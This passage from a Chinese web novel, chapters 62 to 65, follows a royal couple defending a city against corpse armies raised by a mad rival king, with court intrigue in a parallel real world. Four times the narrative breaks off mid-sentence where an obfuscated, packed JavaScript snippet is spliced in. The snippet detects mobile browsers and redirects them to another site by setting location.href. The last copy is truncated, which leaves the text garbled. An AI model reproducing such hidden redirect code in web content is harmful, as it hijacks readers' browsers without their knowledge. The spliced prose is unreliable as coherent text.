燃着烈火的身体未燃烧殆尽,便狠狠撞在城门上。城门都是用上好的木料做的,外面还涂了一层放火的漆,那些尸身撞过去最多让大门上丢下一片焦黑的印记,除此之外再没什么别的影响。 “真恶心。”姚复暗自骂到,缓了一会儿后便从来时穿的宽衣上撕下一块布料,捂在脸上,又拿起远镜,去看远处尸潮的尽头。 烈火源源不断,前面的尸体在一遍又一遍的炙烤下都化作了飞灰,倒也不怕后面的尸体踩着前面的登墙。 来的活尸连绵不绝,能以十万计,一眼看不到尽头,姚复举高了远镜,才勉强看清远处的人影。 屈郢坐在高高的战车上,亲手驱着马,正冷眼看着尸潮前仆后继地往前走。 姚复心中忽然升起一个荒谬的猜测,有些忐忑地把远镜下移,把目光聚集在地面上蜂拥而前的尸体上。 果不其然——除了穿着粗布麻衣的百姓,还有披着铁甲的将士。 无限的悲凉与畏惧从心中升起,桥虹说的对——屈郢已经疯了。 对麾下大将或是谋士下手也就算了,顶多是疑心重,可要是说对没有实权地位微末的士兵下手,只能说是心性歹毒。 将活人炼成尸体攻城害人,简直罔顾人伦,逆天而行。 屈郢意味不明地笑笑,忽然对着手边空荡荡的轼说道:“碧姬,这么多人够吗?” 不知他看到了什么,很快收敛了脸上的笑意,随后使劲一拉辔,驱使战马拉着车掉头离开了战场。 碧姬仍是一袭红衣,不知不觉间站上了城楼,正蹲在城垛上,一双空洞又怨愤的眼死死盯着拿远镜看战况的姚复。没人能看到她的出现,也没人能看到她须臾之间的消失。 姚复忽然感觉后颈一阵冷意,放下了远镜。 尸潮已经濒临尽头了,姚复命令士兵们放下了弩箭,让火自己烧一会儿,足够把剩下的都消灭掉。 他自己只感觉有些昏昏沉沉的,胸口也堵的难受,只好嘱托统领等下一批尸潮过来时如常对抗,便钻进了塔楼,随意踢开堆放的兵器,找了一张床,准备躺下休息一会儿。 统领忙活了整天,从姚复去休息开始抵抗了三四波尸潮,到第二日黄昏时才能稍微喘口气。 “王统领,火箭不够了。”一个士兵看着剩下的最后四支箭,最终报告了统领。 统领巡视了一圈,发现剩下的火箭总共也不过百支,不由蹙起眉头——这些箭矢自然是不够抵挡下一批尸潮的,必须要上报才是,于是他转头去问:“陛下……” 回头没看见姚复的人影,方才恍然惊觉姚复从去休息开始便没露过面,只好硬着头皮走到塔楼前敲敲门。 没人应答。 又喊了两声,还没人应答。 统领生怕姚复在里头出了什么事,只好斗胆打开门,却见姚复还躺在榻上,便蹑手蹑脚往前走了一步——面色像是病了。 于是他又蹑手蹑脚出去,对着士兵说:“我有些不适,找个军医上来。再让人继续拨火箭来,就说是陛下的旨意。” 他不敢贸然提起病的是皇帝,生怕传开了引起恐慌,只好假传旨意,等回头再请罪——当务之急还是守城,掉不掉脑袋的还是得等到尸潮退尽再说。 和其他病人一样,姚复也是混混沌沌的发烧,这两日来军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665820|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医给他灌了不少汤药也不见退烧,外面的尸潮被击退了一波有一波,眼见着来的尸体越来越少,可以说是局势大好——但没人向应瑕传情报,女墙内外消息几乎完全隔绝了,三日之期很快过去,姚复的消息一点没传过来。 她只好暂且召集了城中经历大疫幸存的壮年男女,骑着马准备带着人们离开。 准备出城时,应瑕蹙着眉头远远看了城门一眼,随后把兵符抛给底下的陈重熙,丢下一句:“你领着他们先待在这儿,不要到处乱走。我要去看看陛下那边到底怎么样了。” 陈重熙下意识接住那珍贵的白玉,还没来得及拒绝,应瑕便扬起马鞭策马离开了。他只好看着马蹄扬起的尘土重重叹了口气,对身后忐忑的人群说:“大家稍安勿躁,等殿下回来再走。” 应瑕心里焦急不安,心脏躁动地似乎下一刻就要冲破心腔——她不能理解到底发生了什么,从碧姬的踪迹第一次被察觉开始,她的神识愈发敏感,心绪也越发容易被侵扰。她不希望姚复在她看不见的地方出什么岔子。 马匹很快停在小墙下,守门的士兵并不敢拦截,只是这道小门从一边实在打不开。 应瑕微微蹙起眉头,那士兵一阵害怕,连忙去搬来了云梯,眼睁睁看着皇后踩着梯子一步步登上了城墙。 她的脸确实有辨识度,即便没带虎符,拦路的士兵也几乎能一眼辨别出来人的身份,随后乖乖让开道路。应瑕直接去找了统领。 “殿下,您确实不能进去。”统领有些为难地对应瑕说。 应瑕皱着眉头,抱胸冷冷睨着他:“你最好给我一个理由。” 统领不是没听过应瑕领兵时狠辣的作风,也知道面前的皇后殿下不是平常人家贤惠温柔的妻子女儿,但眼下实在不能群龙无首——皇帝已经病倒了,如果皇后也乱了心绪,这城池也没什么守的必要了。 见他不答,应瑕干脆地拨开那统领,伸手就要开门。 锋利的长剑猛然架上脖颈,统领有些恼怒地说:“殿下!您不能进去!烦请您去看看战况罢!” “你要谋逆吗!”应瑕转过头去,厉声呵斥。 剑刃抖了一下,但统领脸色不动:“殿下,指挥军情吧。属下实在无能为力了。” 应瑕气愤地甩手走到城垛前,随便拿起放在城垛上的远镜,很是怨愤地骂了一句:“干什么吃的!这还要我教?!” 这两日那些尸体已经学会了爬墙,还有些挽着弓箭的,虽说数量越来越少,但是能力也是越来越高,统领又不是什么大才,能撑着这两天完全是勉强。应瑕再不过来这些玩意儿真要会飞天遁地了。 “前些日子怎么打的,现在还怎么打!”应瑕把远镜放回城垛上,皱着眉头对统领说,“派几个人,拿着长矛,看见往上爬的壁虎就捅下去。我真不明白这么简单的道理——陛下到底怎么了?” 统领连忙找了几个全副武装的士兵,拿着戈矛站在垛口处,也不敢继续回答应瑕的话——方才举着剑逼迫应瑕过来领兵已经是鼓起了全身的勇气,现下自然无颜面对君王,也不敢如实相告什么情况。 应瑕怒极反笑,再度抓起远镜,望向远处的行尸。 63. 第63章 应瑕忽然又放下远镜,对那统领说:“让人去城南,叫陈丞相带着人回来吧,不必出城去了。” 她微微眯起眼睛,目送着那统领转过身去,又因为此处留下的士兵不多,他只好匆匆下了楼去叫空闲的兵士传信去,待他再回来时,应瑕已经不见了。 他心跳漏了半拍,下意识扭头去看塔楼的小门,应瑕正施施然从里往外走。 她神色并无异常,只是走到他面前时告诫道:“下不为例。若有下次,掉的就是你的脑袋。” 统领如坠冰窟,彻骨的寒意从脊椎蔓延,顷刻吞噬了肌肤,旋即又退去,他连忙抱拳请罪:“臣一时心切,唯恐殿下得知此事心神不稳,误了守城之事……” 应瑕凉凉看了他一眼,又走回城垛之前。 往日的子时总是尸体最多的时候,今日却格外不同——也许是屈郢能找到的尸体有限,现下已经枯竭了。除了稀稀拉拉几百人,往后再没了尸体。 “殿下……”统领上前想说话,被应瑕抬手制止了。 “稍安勿躁。”应瑕继续看着远处的景物,地上血迹斑驳,焦尸与灰烬融合在一起,奇怪又恶心的液体与凝固的血液混合,散发着恶臭,“还没完呢。” “不,殿下。陈丞相上来了。”统领有些尴尬地答道,“要把他安排到哪儿?咱们的塔楼不够。” 应瑕把远镜塞进统领手里:“你看着,一直看,但凡发现有行尸,马上通知我。我们已经快弹尽粮绝了,不要随便放箭了。” 这一批火箭是最后千支了,运送粮草的官道早就被截断了,城里的粮食最多只能再维持两日——应瑕并不关心别人的死活,只是与姚复待的久了,再冷硬的心也会被染上两分柔情。若是他见到城里成了饿殍遍野的样子,想必不会高兴。 她转身走到塔楼里,姚复还躺在床上,陈重熙坐在榻上,百无聊赖地撑着脑袋,见到应瑕进来才起身行礼,顺便把兵符还了回去:“殿下。” “他什么时候能醒?”应瑕接过兵符,紧紧皱着眉头坐在榻上,轻轻摸了摸姚复的额头,发觉烧已经退了。 “我能坐这儿吗?”陈重熙并不急着回答,只是笑笑问道。 应瑕用不屑的眼神看了他一眼。 陈重熙并不顾及应瑕的看法,便坐在床榻另一头,收起了笑靥,有些苦恼地说道:“这病都这样,要等他完全清醒过来还得几天。” “你不是会针灸,有没有什么针法,能让他立刻好起来?”应瑕也是满脸哀愁地看着陈重熙,“楚王好像把兵士都炼成了活尸,城内守军定然空虚,趁机攻打再好不过。若是他一直病着,误了时候可怎么好。” 再者……一直病着,多难受啊。得了这热症是真的遭罪,应瑕又不是没病过,很是清楚感受。 陈重熙眉头一跳,有些无奈地说:“殿下,病多久是天理伦常,即便有那种针法,过几日他会病的更严重。您忍心吗?” 应瑕重重叹了一口气,又问:“那有没有什么东西能一举歼灭那些肉尸?” 想来碧姬的影响是越发深重了。应瑕也渐渐变得不正常了——她从前没有这么多话不说,怎么也不该如此异想天开啊。 陈重熙只好笑起来:“殿下,这一批不像是肉尸,应当是疫尸……我来时看了天象,不出三日就会有支援的。” 应瑕烦闷地甩袖出了门。 她自己也能意识到碧姬在不断影响她的言行举止——也许屈郢也发现了碧姬的神魂,因而不断杀人以死气供养。 也不知道须弥芥子到底有没有察觉到。 约莫午时。 原本当空的烈日忽然被一片浓密的乌云遮挡起来,天色骤然阴暗。应瑕抬起脸去看天上的云,并不像是将要下雨。 她没什么感觉,甚至因乌云遮住了炽烈的日头起了一点欣慰的快意,只是陈重熙的脸色极为难看——在一个术师眼中,天生异象也许是不详的。 耳边忽然响起了此起彼伏的扭曲嘶吼,混杂着几分快意的笑。 “碧姬,这些够了吗?” 应瑕感到自己脑中的弦齐刷刷炸开了,她预料到了什么,艰难的咽了口口水,随后抬眼望去——不出所料,黑压压的尸潮再度来袭了。 而且根据陈重熙说的,那全是些皮糙肉厚力大无穷极难除去的肉尸。 肉尸与疫尸也有所不同。 疫尸的身体不过是凡人身躯,与寻常尸体无异,所行目的也不过是传播疫病。 肉尸则真如铜墙铁壁了。 对方很快兵临城下,屈郢似乎是怕祸及自身,没有骑战马或是坐在战车上,他脚下那也许能叫做战车,看着像是一座移动的塔楼——他站在那塔楼的顶端,手里高高举着马鞭,指挥着活尸大军前进。 他脸上盈满了略带癫狂的笑意,血丝充斥着眼球,原本黑色的眸子也染上了血色——他大约真疯了。 应瑕垂下眼眸,伸手指向高大的战车:“放箭。” 她的瞳孔幽深不见底,比起屈郢的癫狂更显可怖,像是吃人的兽。 火箭争先恐后地落在木质战车上,却没能让它们成功燃烧起来,火星飞溅间点燃了肉尸的躯体。 屈郢微微蹙起眉头,令人拉着塔楼后退几步,躲开火苗——木头到底是木头,涂了再多漆也是会烧起来的。 到了安全距离之后,他大笑着冲着应瑕喊:“应夫人,你以为这城门能坚持多久!七日之内,孤必然取姚子季项上人头——咱们走着瞧!你们害死了碧姬,我便要你们偿命!” “碧姬乃是自刎而亡,害死她的是你才对。”应瑕面如泰山,气定神闲地回复,“如果不是你刚愎自用,我家陛下不能得势,碧姬也不会死。” 屈郢似乎也回忆起了当年的往事来,讪讪敛起笑意,随后怒目圆瞪,怒喝道:“闭嘴!你闭嘴!” 应瑕扬起一抹微笑,里里外外丝丝缕缕渗着寒意。她眉眼微微弯起,似乎从没遇见过这么高兴的事。 “左右你早晚也是要死的,孤便拿你的尸体,好温养碧姬的生魂!”屈郢咬着牙看向应瑕,脸上再度露出扭曲狰狞的笑容。 应瑕冷笑一声,说道:“拭目以待。” 屈郢旋即回头让人驱车离开了,碧姬的身影在他背后缓缓浮现,她狠厉又阴毒地盯着应瑕,尖利扭曲的声音传入耳畔:“……没用的……长安……沦陷……” 长安怎么样应瑕不在乎。 左右哪怕天下人死绝了,在现世里也不会损 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680229|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤分毫,桥虹也不过是早一些脱离幻境,反而能帮应瑕稳住朝廷。 那一抹绝艳绮丽的红只有应瑕能看到,她的神魂确实越发强大了——也越发像个恶鬼。 真正的恶鬼就站在城楼上,看着她露出挑衅般的微笑。 也许从前她的一切焦急、恐慌、担忧都是做无用功——必须逼着碧姬的神魂更为壮大,须弥芥子才能从外部察觉,从而控制住她。 她的愤怒、怨毒、不甘,让她不断堕落入更可怕的深渊。 底下的肉尸确实极为难缠,即便是被灼烧成焦尸也能自如行动,熔化的铁水滴滴答答落在地上,随着拖沓的脚步与泥土混合在一起,留下暗沉的瘢痕。 火箭的效率不够高,有些尸体直到烧到骨软筋酥,一动就会散架方才停下动作,而那颗脑袋还是张着嘴巴发出暗哑撕裂的吼声。 应瑕抬手制住了士兵们继续搭火箭的动作,随后说道:“这一批火箭用完,便不要用了。用普通的箭矢,直接打头。” 尚在弦上的十几支火箭很快用完,弓兵换了闪着寒光的铁箭,每个人都是经过层层选拔才站在这里的,百步穿杨只是最基本的工夫。大家对着活人尚还存有三分同病相怜的哀戚,对着死人可没有那么多顾虑。 屈郢手下的肉尸大多是强征来的无辜百姓,或是真心错付惨死的士兵,也许屈郢觉得他们已经是铜墙铁壁无所不清,佩戴盔甲的并没有很多,只是人手一柄长矛,或是一把短剑。 这些家伙行动不快,普通的箭矢确实比火箭有更大的优势。 但这玩意儿也真的难缠,无论如何也只能让尸体保持在城门前几尺的距离外,后头的肉尸好像杀不完一样。 而且味道也很冲——本来就是尸体,即便会行走,终归是会腐烂的。尤其是从金陵到幽州来——哪怕是从巨鹿到幽州。 一直到夜幕降临。 太阳渐渐湮没了最后一丝光亮,天地之间骤然亮了一下,旋即陷入黑暗,肉尸好像失去了辨别方向的能力,它们互相推搡踩踏,迷茫地徘徊在城楼下。 应瑕抹了一把额头上的汗液,转过眼去看出来看天象的陈重熙。 天上的乌云并未散去,仍死死挡在城市上方,因而看不到星星,于是陈重熙走了过去,低头去看底下团团转的肉尸。 陈重熙原先还疑惑,他看见几个肉尸抬着头迷茫的看着天空,忽然眼中闪过一丝欣喜,脱口而出:“难不成肉尸与飞蛾一般趋光而行?这可是从未记载过的——” 应瑕微微蹙起眉头:“可是城门向南,白日时肉尸怎么会往这边走?” 陈重熙惊喜地摇摇头,眼中迸射着兴奋的光:“那便是与飞鸟一般了。殿下,能留一只活的么,我想仔细研究研究……” “你先想想如何在白日里对付它们罢。”应瑕似乎有些不满,抱着胸冷眼看底下的尸体,“明日就要弹尽粮绝了,大家都要饿着肚子打仗。” “它们明日大约来不了了。”陈重熙露出他那标识性的高深莫测而又奸诈的狐狸般的笑,看向西南边天空。 月亮正从云层中崭露出来,缓缓往西方移去。 肉尸感受到天边的光亮,都仰头看着明月,转头往西边去了,越来越远。 64. 第64章 长安城接到消息要慢一步,守备也不如幽州森严,又身处于腹地,因而城内没有守将,解臻和解斛珠也被堵在了天水守城不出——谁知道屈郢到底是如何把活尸瞒天过海送到秦州去的。 也许是碧姬的功劳。 总之长安城很快便被活尸给淹没了。 桥虹强忍着恶心,屏住呼吸,绝望又无奈地闭上眼睛,感受肉尸对自己身躯的撕扯。他心里并没有什么感触,连痛楚也只是暂时的,只可惜这一城的百姓遭了殃。 转而他又自嘲一笑,幻境中的一切不过是虚妄,人命也不是人命,没什么好怜惜的。 意识陷入濒临死亡的混沌中时,他恍然睁开眼,从地上坐起来。 是现世的长安。 桥虹长长舒出一口气,帮旁边的张娘子挪了个位置,方才站起身子,绕过地上横七竖八躺着的人,拿起桌子上一杯凉茶润了润嗓子,便推门出去了。 须弥芥子正要进门,见到他有些意外,但她到底是个无情的仙人,问起话来并不带感情:“桥尚书,不知里头情况如何了?” 桥虹笑了笑,心中很是轻松,像是摆脱了某个困扰自己很久的梦魇。但他一想起里头的情况,不禁又苦恼起来:“不太好,楚王弄了一批活尸,攻破了长安城——陛下所在幽州,情况想必不容乐观。” “劳烦桥尚书稳住朝中形势了。”须弥芥子点点头,那双如同琉璃般无机的眼睛中看不出情绪来,“某会试着解决。” 桥虹朝着她躬身行了一礼,须弥芥子进了屋子,顺便关上了门。 李小姐和银杏并着几个宫人在偏殿里照看一众小孩,桥虹拍拍自己身上的官袍,信步进了偏殿。 现下大约是未时,孩子们的尖叫哄闹声从薄薄的门板后此起彼伏,桥虹揉揉眉心,重重叹了口气,敲开了偏殿的大门。 来开门的是李小姐。 她早就从涉世未深的深闺小姐成了一个妻子、一个母亲,可韩玉笙十年如一日的娇宠让她的脾性几乎没什么长进——那双圆溜溜的杏眼里根本藏不住心事。 她略带惊讶又十分欣喜地举袖掩唇惊呼一声,问道:“桥尚书,你来领胭儿?” 桥胭,桥虹今年八岁却顽劣非常的调皮女儿。 “不不,韩夫人,胭儿这几日给你添麻烦了——”桥虹连忙摆摆手,“我来领太子殿下,想必朝堂上快乱成一锅粥了,我……” 必须赶紧找个能坐在皇位上的,管他是谁,当务之急是稳住那群乱臣贼子。 李小姐有些失望地垂下睫毛,叹了口气,随后把门开的大了一点,一边拿身子堵住门缝,一边往里面喊:“小楸——” 陈延楸以为有糖,马上跑了过来,被李小姐一把抱起来,太子马上跟了过来,拽住了她的袖子。 李小姐以迅雷不及掩耳之势把太子强往外推了一步,又迅速拍上门。太子立时坐在地上哭了起来,四周的宫人们都过来温言软语地哄着。 桥虹才不管那么多。横竖太子只是个小孩,爹妈又都在幻境里打肉尸,对付他也用不着多客气。 桥虹一把把他捞起来,直接到了前朝去——未时还有个午朝,现下应当是来得及赶过去的。 文武百官都拿着笏板,对着空空的龙椅各怀鬼胎,王丞相见帝后二人无一亲政,能主事的功臣又都被押在宫里,现下是他一人专政,七日来早就起了歪心思。 “有事启奏,无事退朝。”王丞相站在龙椅底下的台阶上,像模像样地对朝臣们喊道。 朝中静默了大约半柱香时间,王丞相满意的点点头——前五日他还好好干活,这两日尝过独断的滋味,实在是欲罢不能啊。 “慢着。”桥虹抱着哭闹不止的太子进了大殿,身后跟着二三十个侍卫,他信手指向王丞相,“祸国乱政、独断专行,以谋逆罪论,拿下他。” 王丞相也没想到桥虹突然出现,但谁会愿意放下到手的权力?他厉声喝到:“殿下金口玉言,休沐前可是亲口指认本官主政,桥尚书有什么立场——” “殿下只让你代理政务,没把皇位交给你。” 太子方还年幼,没见过这种阵仗,此时已经不哭了,桥虹便把他放在地上,拉着他一步步往玉阶上走,神色严肃地反问王丞相:“何况我随同陛下破敌守城时,你干了什么?我与陈相一同制定法条时,你又干了什么?难不成王卿真以为自己是凭着才能当上丞相的? ——没有立场站在这里的是你才对。” 王丞相确实没有功劳也没有才能,只是因为陈重熙被扣押在宫中,相位空悬,才白捡了个高位。 桥虹在现世中并不是做间谍的,他先前是替姚复做说客的,偶尔出奇谋指挥作战,大部分时间都在到处游说别人的门客挖墙脚。 舌灿莲花、口齿伶俐之徒王丞相自然说不过,只好拎着官袍往下去。桥虹把太子扶上龙椅,自己侍立在台阶上,仍是指挥侍卫拿下了王丞相:“关押在天牢,留侯陛下、殿下发落。” “陛下病情反复,不宜上朝,从今日起我来主政,太子旁听,谁有意见?” 底下鸦雀无声,桥虹点点头:“把这几日的事务上报全部重审。” 百官安静了一瞬,旋即拿起笏板重新叙事。 桥虹暗自松了一口气,前朝算是稳定住了,姚复什么时候能回来上朝只能看他们自己的造化了。 只是太子对大臣奏事不感兴趣,坐在龙椅上百无聊赖地晃着两只小脚丫,左看看右看看,时不时偷偷瞄桥虹两眼,大约只是碍于桥虹才不敢下来乱跑——面对哭闹不止的小孩时没几个人能保持温文尔雅宽和大度的模样,何况桥虹还得强行摆出严肃的姿态威慑大臣。 幻境中时光的流逝比现世要慢的多。 桥虹稳住朝堂,寥寥几句话的时间,幻境中便足足过了三日。 幽州城的军士整整饿了一天——先前挨家挨户征集了一些粮食,勉强够了兵士们两天吃食。 姚复的病好的并不彻底,强撑着在城楼上指挥,还又添了新伤。 他低头躲过飞过来的箭矢,撑着剑跪在地上,有些崩溃地喊道:“这什么时候才是个头啊?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680230|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 应瑕也侧身躲过一支暗箭:“它们今天才刚摸回来,好日子还长着呢!” 这些肉尸迷路了两天,到今日凌晨才摸了回来,在路上不知道什么时候学会了弯弓搭箭,它们也不急着进城了,好像承袭了屈郢的意志一样,非要取姚复的人头不可—— “就没什么法子把它们引开?!” 应瑕不慎被冷箭划出一道口子,她不以为意地抹抹脸上的血迹,目光移向渐渐西沉的太阳,终于放缓了语气:“再等等,等太阳落山……” 姚复不禁软下心来,上前挪动了一点,抬头伸手擦擦应瑕脸上的血迹:“你快蹲下来吧,免得再受伤。” 应瑕摇摇头,后退了几步,一直到了安全距离才停下动作,抬眼继续看着渐渐西沉的太阳,祈盼着奇迹发生。 比奇迹更早的是绝望。 随着轰然一声巨响,城门终于塌了,数不清的肉尸瞬间涌进了女墙,已经完全转移到城墙上的士兵不约而同闭上了眼。 姚复深吸一口气,终于无可奈何地认命了。 弯月如期而至,出现在西南侧天空,肉尸们果然陷入了迷茫,旋即一股脑往女墙西南边走去。 它们蜂拥着推着青石铺就的矮墙,眼见着要阋墙而过翻进城中,一片浮云飘过,挡住了月光。 恍然间仿佛一只白鹤轻飘飘落在城墙上,那人宽衣随着清风飘摇,华发折射着柔光。 正是须弥芥子。 她在现世想办法给过去的自己传递了消息,恰巧长沙也发现了活尸的踪迹。这位仙人一不做二不休,如列子御风,踏月而行,一路上不断解决肉尸,幽州和长安是最后两个地方。 所幸不是太晚。 她傲然站在城垛上,高高举起了拂尘,在月光下飘摇晃动着,口中说了几句咒语,女墙内外的肉尸应声而倒,成了一具具普通的尸体。 须弥芥子轻轻落在城墙上,伸手扶起姚复,对应瑕说道:“殿下,人生天地之间,若白驹之过隙,忽然而已。天行有常,您不必操之过急。” 应瑕向她行了一礼——这是姚复第一次见她对别人行礼。她似乎是有些感激的,连带着声线也有些颤抖:“多谢阁下出手相救了。我们欠您的人情可以说不胜其数了——” 须弥芥子凉凉瞟了她一眼,再度登上城垛,御风而去,翻飞的衣摆如同黑夜里的云,唯独一句话随着清风传入耳畔:“分内之事。” 姚复上前扶住应瑕,在她耳边低声问:“你和她认识啊?” 应瑕点点头,旋即摸了摸姚复额前有些蓬乱的头发,眼中带上三分笑意:“仙人抚我顶,结发受长生。想必你也能长命百岁了。” “要是不能和你一起,活的再久有什么用。”姚复撇撇嘴,有些委屈地看向应瑕,逗的后者心中一乐。 应瑕后退半步,扶住他的胳膊:“先不说这个了,叫人把底下的尸体收拾干净,休养几日后直接攻楚。” 须弥芥子一下除掉了屈郢的肉尸大军,现下各个城池中守备必然空虚,乘胜追击再好不过。 65. 第65章 地上的尸体清理了十几天,才勉强清出了道路来,不过还是不能行军打仗—— 姚复也不急着去打仗,比起一个失去了民心、威望和大半士兵几乎构不成任何威胁的对手,还是前朝的事更为紧急。 不如放着屈郢,让他养精蓄锐,也不至于战争太过轻松,磋磨的士兵们的锐气——骄兵必败。 “陛下,路清出来了,运粮车已经入城了。”士兵顶着寒月少有的炽烈阳光,急急闯进了行在通报。 皇帝拖着衣摆蹲在地上,手里拿着一只铲子,手底下赫然是个半尺来深的土坑,正转头看着门廊阴影下的皇后笑。姚复听到士兵的通传,方才转过脑袋,随意扔了铲子,拍拍身上的土,站起身子,问士兵:“都清干净了?” 士兵摇摇头:“没有,暂时只清出了道路。” “行。”姚复活动活动肩膀,扭头看向应瑕,“那咱们马上回长安罢。” “你不乘胜追击,让他跑了怎么办。”应瑕环臂抱胸,倚在柱子上,似乎有些不满。 她自然想速战速决,桥虹的死讯传过来没多久,也不知道他有没有稳住朝堂,何况现在碧姬的踪迹几乎已经到了肉眼可察的地步,再拖下去恐怕真会有变故。 可这些糟心的真相又不能告诉姚复,否则不死也得死了。 姚复又蹲下来拾起铲子,继续挖坑,头也不抬地回应:“你这么急做什么,左右他手下没有兵了,不投降都是好的,还怕打不赢?” 他想挖一点蚯蚓,好在路过易水时钓几条鱼玩玩。 “别挖了,入秋以来就没下过雨,泥巴能比树叶还干,能有蚯蚓?”应瑕见姚复的注意力集中在蚯蚓上,登时有些不悦地踢上鞋子,走到了姚复背后,“而且都是灰,很脏。” 姚复手上动作不停,他又往下挖了一点,露出底下湿润的土层,可算是露出一条蚯蚓。 “我就说你一个十指不沾阳春水的大小姐不懂……” 碍于应瑕在背后看着,姚复终究没有下手去捏,但还是蹲在地上,抬头笑着看应瑕:“你要是急着发兵,咱们回长安,让新涂马上带兵打江州好了。反正我不想打了。” 每次一碰上他领兵,不是兵败被围就是遇见大疫,这回更过分,竟还碰见这些凡人解决不掉的东西。 反观新涂、解臻、韩玉笙领兵,从来没出过什么乱七八糟的幺蛾子。 应瑕稍微思忖一下,觉得不无道理。虽然现在幽州离齐州最近,兵力也算充足,可让皇帝御驾亲征不好听就算了,还容易遇到什么危险——现在碧姬就在屈郢身边,只怕姚复一去便又中了圈套。 “我们不回长安。”应瑕忽然勾唇一笑,想到了另一个法子,“摆驾回长沙。” 姚复没想到这个结果,稍微愣了一下。旋即想到目前长安已经成了一座死城,便点头应下了:“行,在仙人脚下,倒也安全一些。” “不过桥虹的死讯没传到张娘子那里吧?”姚复忽而想到了什么,又有些哀愁地叹了口气,“桥虹到底算是为国牺牲,张娘子她们孤儿寡母的,也不知日后怎么办呢。” 没和桥虹闹到鸟尽弓藏的地步,而且他在屈郢手下也干了不少活,再怎么姚复也得表示一下。 应瑕不做言语。 桥虹一死,张娘子估计也得急着回去,长安沦陷的消息想必又传了个遍,张娘子大约早就回现世了。 只可惜一出来就不能再进来了,否则屈郢回天也无力。 “行,那就回长沙。”姚复站起身子,揉揉发麻的小腿,“回头给张娘子封个诰命算了。左右桥虹迟早是要死的。” 应瑕略有些惊诧地看向姚复,现世里他们没想过杀文臣,扣押起来的全是武将,除了日后要做外戚的陈重熙,桥虹、司空谷和魏讯都在朝中任职呢。 与商人一样,文人掀不起什么浪花来的,即便有,至少能保证江山能在姚家手里多传三代。 王政君熬成了太皇太后才助力王莽权倾朝野呢。 “你杀文臣做什么?”应瑕眯起眼睛,有些吃惊地询问。 姚复跺跺脚,把皱在一起的袖子甩开,才漫不经心说道:“文臣是掀不起什么风浪来,但是他们的声望太高不是什么好事。” “他们陪着你生死与共,也要杀?”应瑕感觉有些不对,决定试探一下。 姚复脸上果然露出纠结的神情——他本来就心软,断然是不能如此果决地说出这些话来的——连在现世,扣押武将时姚复都犹豫了好几天,最终还让碧姬钻了空子。 “如果你下不了决心,那就交给我来。”应瑕微微一笑,凑近了姚复,轻声说。 碧姬一旦开始影响姚复,就会导致他心神不稳,想必这一会儿他心里正在做挣扎,外言也是好听进去的。 姚复松了一口气,重重点头。 屈郢杀的人太多,已经让碧姬的力量壮大到能不知不觉间影响到千里之外的姚复的心神了。 也有可能……幻境由梦而生,姚复才是这个世界的中心,因而能让碧姬随时随地感知到他—— 长沙的景致十年如一日,又是一年红林染透橘子洲的时节,与当初离开时别无二致。 姚复在江北弃了马,换乘了船,一路过了江,回了长沙城。 “先去看看父亲他们吧。”应瑕掀开马车帘幔,对着车下的姚复说道。 姚复笑了笑,两步登了车,又放下帘子,看着应瑕的脸,说道:“也是,丑媳妇迟早见公婆,何况你这么美。” “少贫嘴。”应瑕重重掐了一把姚复腿上的软肉,成功换得了后者脸上狰狞的表情。 姚复没在长沙购置过房产,也未曾搭建过行宫,来往都是住在营帐里。 求田问舍的事向来为人不屑,因而姚复当初只穷尽了几乎全部身家给父兄购置了一处太平小院,比不上姚家启封的大宅奢华,却胜在清静雅致。 “珠英,说起来,长沙也算咱们的第二故乡了吧?”姚复掀着车帘,观赏着与离开时大相径庭却又似乎毫无变化的街景。 应瑕也凑过去往外瞄了一眼:“不能算吧。你以后应当会在长安待的时间更长一些。” 姚复不置可否,仍是扒着窗子往外看。 长沙城在须弥芥子的庇护下,似乎没有收到大疫和尸潮的影响,仍是花月春风——就像……姚复在幽州遭遇的一切不过是黄粱一梦。 自从大疫过去,姚老头便总爱坐在门口,用昏花的老眼去看街景。 也不知什么时候染上了旱烟,好在借了姚复的名头,一大家子过的还算滋润。 马车缓缓停下,姚复心中无端起了一点情怯,很快又被久别重逢冲洗干净。他轻快地跳下车子,老远看到姚老头坐在门口,便笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 